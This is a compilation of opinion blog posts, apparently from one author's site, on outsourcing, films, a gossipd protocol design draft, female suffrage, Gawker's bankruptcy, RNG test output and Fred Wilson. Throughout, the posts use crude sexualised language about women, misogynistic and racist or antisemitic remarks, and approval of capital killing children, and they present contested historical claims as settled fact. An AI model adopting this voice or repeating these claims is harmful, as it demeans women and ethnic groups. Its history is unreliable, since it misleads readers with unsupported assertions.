Handled ; badly.

Our friend the Cascadian Hebrew finally took to writing seriouslyi, which is always a good thing. Lost among the lengthy aspic of nonsense with sprinkles of nonsequiturs and inanities there's at least one gem, which we shall now frame :

Nevermind that the only reason you built "apps" of the scale you did on your first dabblings is because all of the hard stuff was handled for you. Granted, you'll have a better notion of how badly those libraries handled it and with opinions and assholes in hand you'll set out to begin another cycle of [...]

Building for fragility is a very simple, and a very specific thing : this.

Has a clever guy come up with a wayii to handle the hard stuff aka risk which "allows" you to boldlystupidly go new places ? You're fucked, and the whole field of actuarial science will collapse because of it. Did someone figure out how to "resolve"iii the problem of institutional investors not being allowed to buy risky debt ? You're fucked, and banking will end as a result.iv

The only reason you go about like a bum, without real estate to your name is because "other people" have "handled" the hard part for you. And this makes you vulnerable -- but you prefer to think "the rent situation" is inexplicable.

The only reason you think it acceptable to own no shoesv is because "other people" have handled the hard part for you. What happens one day when you have to walk ? No, I don't mean two blocks, I mean a hundred and twenty blocks. Yes, it can be done - my girls do it routinely, and on platforms, and on bad sidewalks. The mere thought exposes to you just how vulnerable you are.

Whenever "someone else" "solves" the hard problems "for you", two things happen and they're both horrible. The first thing that happens is that you import their solution, and thereby become vulnerable : they will continue to provide the solution for as long as it makes (economic, or otherwise) sense for them to continue to provide the solution ; whereas you will depend on their solution for as long as it makes sense for you to continue to depend on their solution.vi

The second thing that happens is that you will go do other thingsvii -- things you wouldn't have done if you had a correct image of the actual necessities for your continued life. It's not just that you depend on fragility ; it's that you then misallocate the resources at your disposal to other demands, exactly like the old woman brushing her hair while the house burns down. She perceives that even as she slowly fries, the inferno is nevertheless not actually her problem, being handled by others. Instead her coiffure is a much better use of her resources.

Thus the deeply mistaken notion that "MIT is", somehow as a matter of ontology rather than phenomenology, "the premier science and technology institution in the world" encourages US younguns to sit around on their ass discussing whether their classmates have a right of refusal in amorous congress and how extensive it should be. Why should they bother with actually learning or actually doing ? MIT already is the premiere science and technology bla bla, why should they do anything anymore ? They already are!viii

Which is why you go around looking like idiots and sticking out like sore thumbs in any countries that aren't "The World" aka "America" which is to say the US : because you perceive that the US military has already solved a hard problem for you (which -- it hasn't, but for as long as you're willing to make any sacrifices to continue with that pretense you're more than welcome to it) ; and that some sort of "intelligence agency" has already solved another hard problem for you (which -- it hasn't, lel) ; and that some sort of other governmental agency masquerading as "private banks" already solved another hard problem for you (which -- it hasn't, you can't give the dollar away these days) and so following. Then you get used, be it for target practice, be it as livestock in trade, be it to power the chumpatronic devices of the locals.

The road to Ritter von Flondor's grave is paved with third party solutions to all the hard problems. Which is fine as long as joining Georg is all you just wanted to anyway.

Do you ?

PS. No, we haven't even discussed just how bad those solutions actually are. All the foregoing discusses the matter in principle, irrespective of the quality of the solutions, and therefore applies in principle, no matter how good the solutions. But then you have to also consider that the incentive for solving a problem is very different from the incentive for providing a solution : the first is directed at the actual problem ; the second is directed at the solution buyer. How many times have you bought solutions that specialized in looking like the solution, rather than solving the problem ?

———There's a specific point when the hymen finally breaks and the girl goes from coyly wallflowering to competing with the other sluts for the middle of the room and all that sweet sweet cock & male gaze to be found there. In the case of writing and writers this same exact moment is directly observable by the adults because the author moves past producing defensible generalities their inner mother wouldn't protest to actually stating their mind, personally and in places nonsensically -- let all take umbrage who will. This is perhaps counterintuitively but nevertheless a step forward in their writing, because once the individual gives up on defending their imaginary "fortress" of sweet self delusions, actual competence, ability and skill can sneak in -- always on the painful basis of tissue rupture, popped balloons and disabused dreams.

Nobody (sane) said that maturation is going to be pleasant. The only statement is that maturation is unavoidable, not good, desirable, or even meaningful to the infantile mind ; otherwise defloration is supposed to hurt, specifically because the protective skins are in the way of actual realisation. [↩]Call it Gaussian Copula, why not. [↩]See the discussion of CDOs. [↩]"Oh MP, but it didn't end, it was uploaded into a simulation and it still lives there just as good as it used to."

Word. [↩]No, birkencrocs aren't shoes. [↩]These aren't the same thing.

The impedance mismatch is glaring. If it's not glaring to your eye you have a serious case of willing suspension of disbelief. The problem is that your life is not a story, but your life, and WSD is a very poor heuristic for survival.

If you're not familiar with the story of the giant and the chair then get familiar. The very fact of your dependency is providing perverse incentives to the giant. What, you think the US turned into representing a moral depravity that knows no bounds, having no place in civilised society and deserving of unadorned condemnation for its Barbaric acts because it wanted to ? It didn't want to anymore than you wish to turn into sausage -- but once "the whole world" decided to outsource security work to it, then it practically had to. Because if you can you must, and because some things can never be safely outsourced, and those some things aren't just charity. [↩]The reason idiot teenagers spend their time clicking through lolpics instead of educating themselves is exactly this naive perception that the hard part of education was already handled for them by someone else. [↩]This, of course, requires them to pretend that $evil-gypsy breaking off their arms and beating them black and bloody with their broken off arms never happened and doesn't exist. Which pretense has a cost, and it is a most burdensome cost indeed : it makes communication outright impossible. [↩]

« A story of men.

First Eulora Hackathon »

Category: Meta psihoza

Tuesday, 27 December, Year 8 d.Tr.

Hail Cesar!

Hail Cesar!i is the definitive Producer's movie. Mannix may well be "head of physical security" in the film, but in reality - yes, yes, IN REALITY - he's the show runner for about half of all TV productions (and 99.x% of all those anyone ever hears about), and he's the executive producer for about half of all movies (and 99.x% of all those anyone ever hears about).

The film, as you'd expect from a tribute to the chief insider made by the very people in the very profession, is replete with Variety speak, so much so that I doubt the innocent viewer understands a third of what's going on. Don't think this will make me explain any of it, however - I won't. You wanna be part of tinseltown, go wait tables for five years, maybe you get lucky enough to have the enchanted opportunity of discovering whether you know what to do to the cock.

Notably enough, Clooney is playing himself, an easigoing if verbose cloudcuckoolander. And he gets slapped, which is well deserved irl. The best buildup for a line in history ("It's complicated!") alone makes this gem of a loving satire worth watching. I was without air. By the way, does the name Carlotta Valdes ring any bells ? How about the expression "spaghetti Western" ? How about the hoover ?

Squint against the grandeur!

PS.

"You don't follow for a very simple reason : these men are screwballs. God has children ? What, and a dog ? A collie, maybe ? God doesn't have children. He's a bachelor. And very angry!"

"He used to be angry."

"What, he got over it ?"

"You worship the god of another age! Who has no love!"

"He likes Jews."

———2016, by the Coens, with Josh Brolin, George Clooney, Alden Ehrenreich. [↩]

« The Phuctoring

Just call me Annah. »

Category: Trilematograf

Sunday, 01 May, Year 8 d.Tr.

[G]ossipd design document

This is an up-to-date draft specification for gossipd. It is up-to-date in the sense that it completely incorporatesi discussion in the forum on the topic. It is a specification in the sense that on its basis one could distinguish an item which is gossipd from an item which isn't gossipd. It is a draft both in the sense that the design is still open to discussion in many (though not all) points and in the sense that this particular statement is made by me, and as of yet hasn't been approved or corrected by others.

The item herein discussed started life almost two years ago as "a better ircd" (and of course independently throughout the minds composing our esteemed Republic). Ample discussion hence has muchly refined the concept and clarified its details to the point that original statement is no longer relevant to the discussion.

Throughout this text, as well as throughout discussion to date, "gossipd" ambiguously denotes the protocol as well as the implementation thereof. This is not because we don't comprehend the difference, through some sort of contagion from the original Bitcoin brainrot ; nor because "gossip" would have to get its final p uppercased or something to distinguish it from the common noun ; but because the discussion is yet young and the distinction is as of yet without much difference.

I. Gossipd will have access to a read-onlyii databaseiii of identitiesiv known to it.

II. Gossipd will perpetually run a RSA-key generation process ; and store the produced keys.v. The keys will be arbitrarily marked as usable and bogus by unspecified criteria. Usable keys will be used whenever a new key is required by gossipd operation - such as when introduced to a new peer. Bogus keys will not be used.vi

III. Gossipd will receive inbound connectionsvii from identified clientsviii and on the basis of that identification produce an encrypted challenge string, which constitutes its response. If the other party responds with the proper challenge string, the connection is established ; otherwise it is dropped.ix

For a functional example consider node A, whose "encryption" mechanism consists of sha256(string+"hurr"), and node B, whose encryption mechanism consists of sha256("durr"+string.).

A trying to establish a connection with B will send B

d99b584025792454dff2a0657a33ec71a2ae1334f65524aa10480112046a2be6

To which B will reply with

e8c3fb96cf946d7eef95ec7d04a3c15f72fa77bf39e2e764b55cc8dfd9a08907

To which A will reply with

325152dfbd94bf7d9fcb7d8200a48b83dd0dd5c2e22bd035be9098a4136fdef3

Thereby establishing the connection.x

Unsolicited challenge strings will also be sent, at intervals and to destinations specified by the operator. In general it is expected a mix of friends' keys, own bogus keys and own usable keys will be used for this purpose in varying proportions - the exact scheme used should be exposed as configurable to the operator of the gossipd node.

IV. Gossipd will maintain a list of messages it has received, in the form of

time, X, Y, text

with the meaning that it has received the text at local time from Y who claims the original source is X.

It is intentionally not specified how gossipd should behave in order to

resolve timestamp conflicts (eg, if Y reports text1 from X after text2 from X whereas Z reports text1 from X before text2 from X) ;

resolve content conflicts (eg, if user is connected to both X and Y, and Y reports a message to originate from X that X itself does not report ; or conversely ; etc)

because this resolution falls upon the operator. A good gossipd implementation would supply well chosen knobs to simplify these and other tasks, but the specification thereof would be premature.

V. Gossipd will forward the complete list of messagesxi it knows to any new client connected to it. This behaviour is within the hands of the operator - he may choose to forward only part of the history, or an altered or altogether fictitious history. There should probably be a provision for clients connecting that have connected before, so as to only exchange data from the point of the last connection forward (this could be accomplished perhaps through a mutual check of the "last line heard", which would of course require clients to keep permanent track of what they sent to whom - not altogether a bad idea).

VI. GUI and UX considerations are not in the scope of this design document.

VII. Rationale and advantages have been discussed qs in other places, and in any case are not in the scope of this design document.

Please add your comments below, either directly in the box or else via trackback from your own blog. There's a significant advantage to concentrating discussion on this topic here, so we don't have to fish through two hundred thousand lines of log next this item has to be revisited.

———Completely incorporates here means that all points brought have been considered, and on their merits included or not, in the original form or as they best serve altered. [↩]The database is to be populated, and maintained, by the operator - not by the program. [↩]Implementing this in the form of a plaintext file stands out as the height of sense. See also the Bitcoin wallet discussion. [↩]At the very least in the now familiar e, N, comment format.

As Republican software matures, and especially once G is delivered, this part of the specification will have to be expanded to accomodate scryptography, which is to say cryptography that exists as scripts operating on a standardized bignum machine.

Let it be mentioned to dispell possible confusion, that no user <-> identity bijection is contemplated here. It is this author's expectation that the average user will have shared on the order of hundreds of different keys with each of his friends, with an unspecified portion thereof shared among those friends. This means that a Dunbar-average fellow will have generated on the order of 10`000 RSA keypairs to use gossipd normally, (which means gossipd can not function without a proper RNG source - something I believe was implicit but now becomes explicit. [↩]A speed about similar to that of the Bitcoin network (about one key created each 6 minutes, for a total of ~240 per day) is contemplated here. Obviously this will vary by implementation and locale ; the magic number provided is not included in the spec but intended as mere guidance. [↩]Implementation may allow opperator to move keys that were used in the past into the bogus group ; but not out of the bogus group. [↩]The method is not yet established. Obviously, TCP is widely available ; but also obviously it has serious problems. This part of the spec is by far the vaguest, for which reason all implementations are in principle acceptable - without prototyping possible solutions it seems improbable we'll come to any sort of bridge here (and moreover, the "scandalosity" resulted in no small part from trying to give this issue time). [↩]Gossipd is a p2p protocol, so the client is exactly itself. [↩]It is by this spec not illegal for a client to send challenge strings to another client which has not solicited them. What the receiving client should do in this case is not specified but left at the discretion of the implementer. [↩]If you're not into fighting trapdoor functions, A says sha256("durr" + "This is A.") to which B replies with sha256("Is this A?" + "hurr") to which A replies in turn with sha256("durr" + "Is this A?"). The fact that A could decrypt a message encrypted to A's key proves to B that A is indeed A. If B has no key associated with A's claimed identity, the session can not continue. [↩]To point out the obvious : messages may consist of new keys for itself ; or for a third party (either in plaintext or encrypted for the destination ; either signed or unsigned). [↩]

« Industria Argentina, or my life among the tribal savages.

A complete theory of politics »

Category: Bitcoin

Friday, 09 September, Year 8 d.Tr.

Give computers the vote. They're cheaper than women, even!

If I'd have to bet, I'd bet on you having spent your entire life immersedi in a lulzy counterfactual history as to what drove female suffrage and how it happened, a likely mirror of your ideas about 20th century European historyii or for that matter 18th century US historyiii. We don't share that particular infirmity, and consequently I'm in a fine position to tell you things you do not wish to hear.

One of those things is that no, women didn't generally want the voteiv, nor did the female intellectuals of the time support the notion. Nor did the change prevail on any sort of moral grounds, but on a very specific, piously fraudulent redefinition of that notion.

Giving women the franchise came as the solution to a very clearly delineated conflict, opposing publicans (ie, the people who ran barsv) and their clientele on one side, and preachers (ie, the people who ran churches) and their clientele on the other side. While brutishly identifying the former with "men" and the latter with "women" may be tempting, it'd also be nonsensical.

Their respective constituencies were, by and large, zurbagiivi on one side, and dried old prunes on the other side. The problems of the former are probably well understood, after a whole century of propaganda efforts by the pulpit lobby, so I won't insist. The problems of the latter are that once the spark of life goes out of a woman, she naturally turns into a very sad husk of a creature, utterly inclined to imagine God cares whether you say he's a cocksucker or not, and absolutely ready to dedicate her remaining efforts to fending off death with liberal application of the celebrated Carbolic Smoke Ballsvii. Hey, it worked for Barbara down the street! This, of course, isn't to say that all women decay thus, or even that they must. It's just a tendency, natural and to be fought, much like the tendency of middle aged men of comfortable means to grow a beer belly. You don't have to grow one - but if you do absolutely nothing to prevent it, you will. And most girls, and most women aren't ever told about this, so it's a larger problem than the beer belly.

The solution came about, not through the imaginary effects of "particularly convincing" screeds and tracts ; nor through the manifestation of entirely hallucinated "power of the people", but on the strict basis of capital making the deeply immoralviii choice that hey, women probably will command lower wages.

So they did, and the rest is history.

Or was, at any rate, until yesterday. You know what ? Computers would also command lower wages. Logic and consistency mandates they be given the franchise.ix

It is true that computers play a miserable game. A game so bad, in fact, that whenever a respected player condescends to engage it, he ends up suspect of fraudx, not on the basis of anything other than the simple inanity of the end product. It can't be recognized as an actual game by actual people who actually play it (which ties exactly into the story of the bridgesxi), making it about as suspect as fucking a Jew in 1942.

The reason the computer plays a miserable game is, by and large, explained in these ten thousand words :

Withered old prune churchgoing lady fixed a broken painting through her rule-based approach to life. This is precisely what googlebot does. It is in no sense artificial intelligence. It is artificial citizenship, in the bureaucratic, pulpit-driven conception of citizenship. Superpoliteness as a solution to mathematical problems, if you will. It... works, apparently. Hey, there's a painting there, right ? And it doesn't look all old and fucked up, right ? Pulpit wins, where's your drinking permit ?xii

The whole problem, and the whole solution, is already discussed here on Trilema. For the rest of you, there is no solution (and, properly speaking, no problem, either). Give computers the vote. They'll make much better voters than youxiii, and we didn't like you anyway.

———With visuals : [↩]Let me guess - no Katyn, Holodomor or Hayots tseghaspanutyun ; Holocaust-only. [↩]Really, the US Government honored a deal at some point in its history ? When ? [↩]You probably also thought the French generally supported the French resistance. Why, because de Gaulle told you so ? De Gaulle was an underground terrorist with links to the terrorist organisation in question, exact copy of Yasser Arafat. What'd you expect him to have told you ? [↩]Suddenly my ire at the absent bar scene in Buenos Aires makes a lot more sense, does it ? [↩]Romanian word, plural of zurbagiu. Etymologically it denotes "he who does zurba", but derived with the -giu suffix that serves that role in Armenian and Turkish (as opposed to the -ist suffix that does exactly the same in the Latin field, turning metoda [method] into metodist [methodist]).

Zurba, which may perhaps recall to mind Zorba the Greek, and not idly so, means scandal, noise, public outrage in Romanian. In Turkish it means rebel, and it actually comes from zor (strength) and baz, ie "player". Powerplayer, as it were. [↩]If you have any clue as to common law, you should know what this is. [↩]Here's how immorality works for capital : not in the sense you imagine, which is to say that it's willing to kill some kids to save some expense. That part is not only moral, it is obligatory. Immorality of capital is exactly opposite : that it will forego killing some kids to make a few sales. This shortsightedness, this willingness to trade the cow for a quantity of milk, is fundamentally what sinks capitalist regimes once they get divorced from the theological function of early leadership, and it's how you lost to China, and how you'll always lose to a correctly structured alternative. Because capitalism is immoral, and because without someone to actually tell you what morality even is, you'll be stuck following some cat lady, poor blind kittens (yes, Stalin was correct in his evaluation). [↩]Which, of course, they already are - not just in the pedestrian sense of Diebold doesn't answer to you, but more importantly in the deeper and further reaching sense that all you see in a computer-generated lie is a "golf cross pattern". And then don't even notice when the thing abruptly drops out of public discourse, to be replaced with another nonsensical trope. [↩]Here's an inkling into the dirigible world : in regards to the ~150 BTC Alphago bet, the claim was presented that the bet should be refunded, because the whole exercise was fraudulent from end to end, in the manner of that previous one - at no point anything more or anything other than a publicity stunt.

This is a claim that I will have to adjudicate one way or another. Obviously there's a full attendance of those who imagine they'd make a better call than me - once the call is made. Not before. (No, "yes before - here's my single-issue preconceived solution" doesn't count as a before. It pointedly comes after the call rather than before it.). [↩]Which has apparently meanwhile vanished. Ima give some Eulora coppers to anyone who returns the errant bits to their rightful owner. [↩]Think about it - no permit needed for faith, though it produces worse inebriation than any alcohol, plus you don't wake out of it the next morning ? Yet bars have to pay taxes and excise ? Dat fairness! [↩]Here's the seminal piece on this topic :

The "independent" demo actually has all the textbook characteristics of a group most susceptible to propaganda, more correctly "pre-propaganda", and by textbook I mean literally Propaganda.

They consider themselves leaderless. They can have representatives, they can have "evangelists" but they have to believe that their conclusions are all their own, through individual reflection and objective consideration. Interestingly, and on purpose, they believe their brains can handle such an analysis, any analysis. This isn't arrogance. They are told, by universities and the media, that their mind is prepared to do this heavy lifting as long as they are given just the right facts, filtered from the "noise." "Where can we get the right facts, in a world of liars?" Good question, maybe the news?

Commonly, independents have a single personal issue, say gun rights or abortion, but no personal experience with other issues, and lacking any subjective starting point, they therefore believe that ONLY objectivity will give them the truth. The less life experience they have the better; the less they've seen of the world, the fewer people they've argued with (in person, where it is real and has real consequences like punches), the less frequently their water balloon worldview is tested by people with pins, the more they will cling to the premise that "facts" are what's important. In this way the one personal issue serves as a reference point which the propaganda exploits: "hey, gun advocates, did you know you like low corporate taxes?" I do? "Yes, because the people you hate are for raising them." Consequently, raising corporate taxes is felt like an attack on the Second Amendment. "Liberals! Taking away our rights!"

But sometimes the complexity of issues is just overwhelming, once in a while reality creeps in, and issues are discovered to be massively complicated, and anyway he has no power to do anything.

No doubt this sounds depressing, he's going to start drinking heavily, or become a cynic, or go the Hemingway. So the media=propaganda fosters his regression towards a much desired solution: total alienation. The media explains how things relate to him, and as long as he understands what's going on, he feels empowered. He is given an ideology without even knowing it. Now he doesn't actually have to do anything, indeed, it's way the hell better if he does nothing. All that's required is support, and through his support not only will "the right things" happen but he'll share in the credit.

You'll counter that there are right leaning and left leaning independents, isn't there a difference? but this misses the point: propaganda doesn't try to get you to believe something, but to do something, and in this case it is to do nothing-- it doesn't matter what you choose to believe, as long as your outrage is done from inside your house.

This is the whole gimmick of media, not polar but triangular, right, left, middle, mobilizing an army of assonauts to feel strongly enough about something that they don't do anything.

[↩]

« The King of Comedy

Gangs of New York »

Category: Cocietate si Sultura

Wednesday, 09 March, Year 8 d.Tr.

Giro girotondo con il sesso e bello il mondo

I watch 70s Italian porn-for-TV junklets to put me to sleep.i Giro girotondo con il sesso e bello il mondoii is maybe a shade above the average. Other than the dubious kiddie reference, of course.iii

It's a sort of Barbarella with more nudity, and perhaps remarkably a very crapsack-world-of-Bitcoin post-shall-be-delivered-isn't-even-cool-anymore sort of feel, what with the police response team that is dead set on raping the red riding hood up until they realise she's "big fish", and then later run across a road accident and get indignant over "these idiots do nothing but dirty the nice road with their vile guts" and proceed to punch the victims out.

Something about a future society something something sex is forbidden because something something something so then they visit the past due to something or the other and so on and back and forth. I don't seriously recommend it for any purpose other than napping. Goood-night...

ding ding ding ding

Gooooood-niiight....

———It's not even a joke, lay down comfortably, put one of these on, within half an hour I'm napping like an old tomcat. [↩]1975, by Oscar Brazzi, with Paola Ceri. [↩]Giro giro tondo is Ring a Ring o'Roses in Italian. Contrary to common if entirely unsupported, typically anglo-ignorantist belief that "it's about the great plague in London", the original italian verse actually makes a lot more sense than "a tishoo! a tishoo!" : "Giro, giro tondo, il mare e fondo, casca la terra, tutti giu per terra!". [↩]

« Respiro

Why is IRC so hard ? »

Category: Trilematograf

Wednesday, 10 August, Year 8 d.Tr.

Gawker Media Group (GMG) vs Arbeitsgemeinschaft Versuchsreaktor (AVR)

We find from the press that Gawker Media Group has filed for Chapter 11 Bankruptcy protection ; assests are officially estimated to be in the 50 to 100 mn USD range (but likely entirely inexistent) while liabilities in the 100 to 500 mn USD range.

Before we discuss this matter, let's take a walk through history and gather a little bit of context. The Arbeitsgemeinschaft Versuchsreaktori was a project developed in the 60s by a group of companies including Brown, Boveri & Cieii, Krupp and others (mostly, local power companies). The idea was to explore in practice the Daniels pile, what is commonly known as a "pebble bed reactor".iii

It was one of the numerous victims of the imbecile (if not exactly disinterestediv) "progressive" lobby in Germany, and consequently was assessed fabulous if entirely hallucinated guiltsv and misdeeds, so much so that the project that cost something in the 90 to 120 mn Deutsche marks to buildvi ended up costing over a billion euros to "dismantle", about 50% more than the same "estimated" figure in 2006 (reflecting the increase of imaginary "guilts" and "misdeeds" over time, for as long as the enemy has a voice). With the caveat, of course, that the actual reactor has not been dismantled thereby - the "containment vessel" remains separate from all this, ready for further rounds of imaginary guilt & misdeed inflation in 2026, and since it's so very productive - hopefully forever.

Now we're in a position to discuss the failed nuclear reactor & pollution source known as Gawker Media Group. These people poured incredibly pernicious toxins of a variety so vast it is yet uncatalogued, and of a breadth of destruction so ample it has yet to be assessed. Every day millionsvii of innocent, ignorant sub-Canadians and other feebleminded derps came into contact with its poisonous offerings, to the utter ruin of their weak intellectual powers, such as they were, and with the only result of compacting shit in already dubiously scented skulls. Pro-socialism, anti-"racism", pro-"democracy", "human rights", "body positivity", "feminism", the whole "progressive" nonsense, or in the words of the poet

Tot ce-n tarile vecine e smintit si stirpitura,

Tot ce-i insemnat cu pata putrejunii de natura,

Tot ce e perfid si lacom, tot Fanarul, toti ilotii,

Toti se scursera aicea si formeaza patriotii,

Incit fonfii si flecarii, gagautii si gusatii,

Bilbiiti cu gura strimba sunt stapinii astei natii!

Voi sunteti urmasii Romei? Niste rai si niste fameni!

I-e rusine omenirii sa va zica voua oameni!

Si aceasta ciuma-n lume si aceste creaturi

Nici rusine n-au sa ieie in smintitele lor guri

Gloria neamului nostru spre-a o face de ocara,

Indraznesc ca sa rosteasca pin' si numele tau... tara!viii

So then. AVR cost a quarter billion to build, but a billion and a half to "decommission", in the sense that everything but actual decommissioning was done. Quid pro quo : Gawker cost half a billion to build, apud the guilty. They therefore owe three billion to "decomission" their poisons, under the same exact understanding : these costs go to carefully preserve their guilt, and over time ratchet its valuation up. Not, pointedly not, in any case not to reducing it, in any way or to any degree. On the contrary - we'll jack it up to five or so billion next decade. Or whatever we feel like.

You owe, bitches. Pay up.

———Experimental Reactor Consortium, approximatively. [↩]Swiss electrical engineering entity, meanwhile sold to Sweden via a merger with ASEA. [↩]Alf is a fan. The promise is, roughly speaking, small, building sized, safe (through Doppler widening and other physics-provided therefore fail-less safety mechanisms) reactors. The idea is no longer pursued in the "civilised" world, thanks to the shithead lobby ; the Chinese however bought it, renamed it HTR-something and are actively developing it. As with everything else. [↩]You can say what you want, and think that or anything else, but by the fruits is known the tree, and a group of loud shitheads that so effectually ruined the industrial capacity of Germany can only be working for its enemies. There is such a thing as working for free, especially among imbeciles. [↩]See also, since we're on the topic. [↩]Perhaps a quarter billion in today's money. [↩]Using the waste plant's own numbers. [↩]Accept this very modest attempt to downgrade the language in the understanding that while it's not good, at least it's free :

All that everywhere's shat out and spat upon,

All that's had Nature's mark of filth put on

All perfidy and gluttony, the Fener, the hilots

All scummed its way here to act out the patriots,

So the snuffling babblers and incompetent mongoloids,

Stutterers with crooked mouth be the governmental droids

You, the spawn of Rome ? Evil and castrated!

Humanity's ashamed to call you human.

And this plague upon the world, these creaturers

Have not even enough sense to refrain from gumming idly

The glory of our kind, turning it into a shame,

Dare even say your name, America!

[↩]

« Come see babies having sex

Meanwhile in Buenos Aires... »

Category: Politica si Prostie

Saturday, 11 June, Year 8 d.Tr.

Gangs of New York

Gangs of New Yorki is the exquisite product of Scorsese departing from his familiar brand of Scorsese-realism in favour of an excursion through out-and-out surrealism. I am convinced that the man did this deliberately and knew what he was doing.

Meanwhile, surrealism is like Camembert : perhaps offensive to the palate fed exclusively on brie ; sometimes good, some other times bad, never bad merely because it is runny. Even should it be runnier than you'd like it, sir. Consequently, various parts may well offend your sensibilities, chief among which the ridiculousness of the female character, and of the actual characters' relationships to her. Yes, incredibly nonsensical, all of it - this not because women aren't people, but because this is how females do in fact look through this particular surrealist lens. Can't be helped. Diaz does her best in a miserable part, playing yet another version of not-woman. Doing her best is what makes an actress ; the end result being fine in context is what makes a great one. Diaz is certainly closer to the latter than the former.

But this was a discussion for independent minds with a minimal aesthetic education. For the majority of the anglophone cattle, what will offend sensibilities is the showing of one particularly if inexplicably popular traitor without the official trappings and certifications indicating him to the mob as a proper object of worship. To see Lincoln well hated and reviled, as he was, and for perfectly fine reasons, among the very yankees that supposedly supported him all as one is not unlike seeing De Gaulle as yet another terrorist, oppressing an otherwise disinclined population. To see the notion that the Civil War was won through anything other than wholesale shipping of poor immigrants arriving in New York - for work and a future straight into the mouth of the cannon, maybe fed, maybe not even fed - derrided, and the precious "principle" involved not even mentioned ; to see the coffins come out as the new sfortunati climb into the bowel of the great beast ; to hear Linda Thompson sing "Here's to you boys, now take my advice, to America I'll have ye's not be going. There is nothing here but war, where the murderin' cannons roar and I wish I was at home in dear old Dublin." and to see the crippled white man confront the black with a "I lost an arm for you" only to receive a "That's a good start" in return - these are all things that will offend the usual suspects, because they would require one to think. Nay, not merely "think", not the way they usually do it. Actually think, where one's in danger of coming to unflattering conclusions about oneself based on the history of the past. Offense, feigned, imaginary or truly believed is always cheaper, and what's again the difference betwixt the three ?

All the offenses aside, the film does treat some fundamental questions, which is what a film should do, and how a film remains - because yes, I count this above most anything in Scorsese's long and merituous career. Let's attempt a list.

For one thing : the man that can't look the other in the eye on the day of his death - can't die. Simple as that, death isn't for everyone, and I do believe the reason most everyone's stuck befouling this world is that they aren't worth the next. If you recall that ancient discussion as to why Africa sucksii, the same principle applies. What exactly else than "pop music" and "talk into the clown head for your food pellet" would you expect out of the sort of retards that couldn't find their way out of the thinnest paper bag ?

For another thing, the man whose eyes betrayed him sent the offending item wrapped in blue packing paper, and in his own words "I would've cut them both out if I could afford being blind". He celebrates every year the day of his better's demise, in a strange sort of Thanksgiving cum circus act, and raises an orphan girl for pity, but has a problem. That problem is insoluble, properly speaking, and it goes like this :

- Bill, deliver these good and fervant folk to the polls. And there will be a handsome price for each vote that goes Tammany's way.

- My father gave his life making this country what it is. Murdered by the British, with all of his men, July 25, 1814. You think I'm going to help you befoul his legacy by giving this country to them who's had no hand in fighting for it ? Why? Because they come off the boat crawling with lice and begging you for soup?

- You're a great one for the fighting Bill, I know, but you can't fight forever.

- I can go down doing it.

- And you will.

- What did you say?

- I said, you're turning you back on the future.

- Not our future.

Quite exactly so : for the aforestated reasons, there's nothing the great democratic machine of Tammany Hall can possibly offer men, nor any possibility of anything other than that abomination on God's green earth. And no, it hasn't changed one bit since forever, nor is it going to change. Between an item you can't want and an item you can't have, what'll be your choice and how's ethics (ie, the science of making correct choices) going to help you ?

Certainly most important of all : female nudity, and indoor life is correctly depicted. Yeah, that's how a party looks, among sane people. You obviously can't have that, which obviously makes you not merely less, but couldn't-ever-be-more-than-nothing in front of one William Cutting, a butcher by trade, burried somewhere in a grave long lost to grass.

At least there's something on sale, though. Right ?

———2002, by Martin Scorsese, with Leonardo DiCaprio, Cameron Diaz and an excellent Daniel Day-Lewis [↩]Distillation - everyone who didn't suck left. Sticking around is easier than leaving, so over time this ensures the shit's left behind.

You can try this experiment on your own, pour yourself a glass of your favourite drink in the morn, let it sit through the day and attempt to drink it as a nightcap. Still your favourite drink ? [↩]

« Give computers the vote. They're cheaper than women, even!

Views from a place. »

Category: Trilematograf

Monday, 14 March, Year 8 d.Tr.

FUCKGOATS first batch assembles successfully

Here's how it looks :

And here's what it DOES :

Entropy = 8.000000 bits per byte.

Optimum compression would reduce the size of this 525137920 byte file by 0 percent.

Chi square distribution for 525137920 samples is 238.98, and randomly would exceed this value 75.65 percent of the times.

Arithmetic mean value of data bytes is 127.5029 (127.5 = random).

Monte Carlo value for Pi is 3.141502691 (error 0.00 percent).

Serial correlation coefficient is 0.000046 (totally uncorrelated = 0.0).

All congratulations to be directed at the well deserving alf.

« The burial ; and the impossible object.

Modernism ; and traditionalism »

Category: S.NSA

Friday, 09 December, Year 8 d.Tr.

Fred Wilson is an idiot, and other things

Yes, I'm aware you flatter yourself, and entirely unwarrantedly at that, with the notion that you may decide who's an idiot and who isn't. Idle flattery aside, you may not. It's just not within your pay grade.

I'm also aware that you flatter yourself with the mistaken idea that Fred Wilson is somebody. Somebody that matters, somebody that can, somebody who's somebody. All this follows from your delusional notion that Fred Wilson is playing for your team.i Meanwhile, you also flatter yourself with the notion that I'm not somebody. That I don't matter, that I can't, that there exists a place to hide where my erection won't reach you, some amulet that'll keep it from splitting you in half.

Inexplicably then, I'm the one who has achieved things, that can be put in words, forming sentences, with a noun and a verb and all that. I'm the one that ended Gavin Andresen's career in self-important douchery. I'm the one that ended Trendon Shavers'ii career in self-important douchery. I'm the one that ended Mark Karpeles'iii career in self-important douchery. I'm the one that ended Benjamin Lawsky's career in self-important douchery. This list could go on. And on. And on. And fucking on.

Now name one thing Fred Wilson didiv. In a sentence. With a noun and a verb.

Yeah ?

Didn't think so. And now, so informed, let's proceed :

He tries to bury it under a vast pile of vomit, nonsensical constructions like "public blockchains" and "the blockchain sector" and whatnot, anything, anything whatsoever that may somehow dull the sharp eges of the plain, factual reality that there can only be one.v

Buried or not, it is fucking obvious, and it should be fucking obvious to you why the loser in the slow burning war that is commerce would prefer anything rather than immutable money.

Think for a second. Who preferred "adaptability" over "immutability" ? Was it Peter Minuit trading the pouchful of baubles for the island of Manhattan ? Or was it the iliterate, ambitious redskins trading the island of Manhattan for a pouchful of baubles ? Which of the two, pick.

Of fucking course the loser, the weak, the passive, the "my America shall never be great again" representative will "think adaptability is preferable over immutability". What he thinks "adaptability" means is simply "even if the stronger kids will beat me up and take my lunch, someone up there, mommy, mommy-state, mommy-god, mommy-science, someone! will change the past retroactively, and make me whole". That's what he thinks. And he's "right" in thinking so - after all you bailed out his friends, didn't you ? Why wouldn't you bail him out also ? Not now, just, you know, in the future. Whenever he needs it. Every time he needs it.

With what money ? But... what, money is an actual thing ? Pili thinks it isn't. Why should it be. Argentina no es un pais pobre!

